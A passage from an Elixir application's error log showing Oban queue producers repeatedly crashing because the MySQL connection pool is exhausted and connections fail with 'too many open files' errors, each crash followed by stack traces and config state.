    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:40:51.239317Z], limit: 20, uuid: "eea4d468-fead-482e-bb04-773f2d8789aa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:51.239323Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.72079>, refresh_timer: #Reference<0.2525715032.1068498948.72059>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:40:51.239544Z], limit: 50, uuid: "2ea74534-9f16-42ba-9014-6f84b7c75a8f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:51.239549Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.72080>, refresh_timer: #Reference<0.2525715032.1121189889.212832>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:40:51.238694Z], limit: 5, uuid: "20000f4b-46e1-4c3b-b502-f6884b130594", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:51.238700Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.72084>, refresh_timer: #Reference<0.2525715032.1099431938.66461>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:40:51.240490Z], limit: 10, uuid: "1f2ac49e-ee6c-4328-986e-9ed5ee8f5107", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:51.240496Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.72082>, refresh_timer: #Reference<0.2525715032.1099431938.66474>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:05.310000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:06.925000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:07.693000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:08.835000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:10.215000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:10.341000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:10.426000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:11.667000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:41:03.238941Z], limit: 20, uuid: "240892c9-58cc-48b0-abac-bc3fbd780dad", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:03.238947Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.213185>, refresh_timer: #Reference<0.2525715032.1068498948.72353>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:41:03.239285Z], limit: 5, uuid: "7531f8af-f219-4ea0-80ee-93b95ea2c75a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:03.239290Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.213183>, refresh_timer: #Reference<0.2525715032.1099431938.66506>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:41:03.238749Z], limit: 3, uuid: "0bf283bb-fc17-4dd1-bc18-0b9141b11107", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:03.238755Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.213186>, refresh_timer: #Reference<0.2525715032.1068498948.72351>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:41:03.239344Z], limit: 10, uuid: "e5fdb318-d2ae-430b-9c03-d1a705690e18", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:03.239364Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.213182>, refresh_timer: #Reference<0.2525715032.1099431938.66509>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:41:03.238934Z], limit: 5, uuid: "546999b0-56a2-4db4-b594-6a6234b8f970", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:03.238940Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: 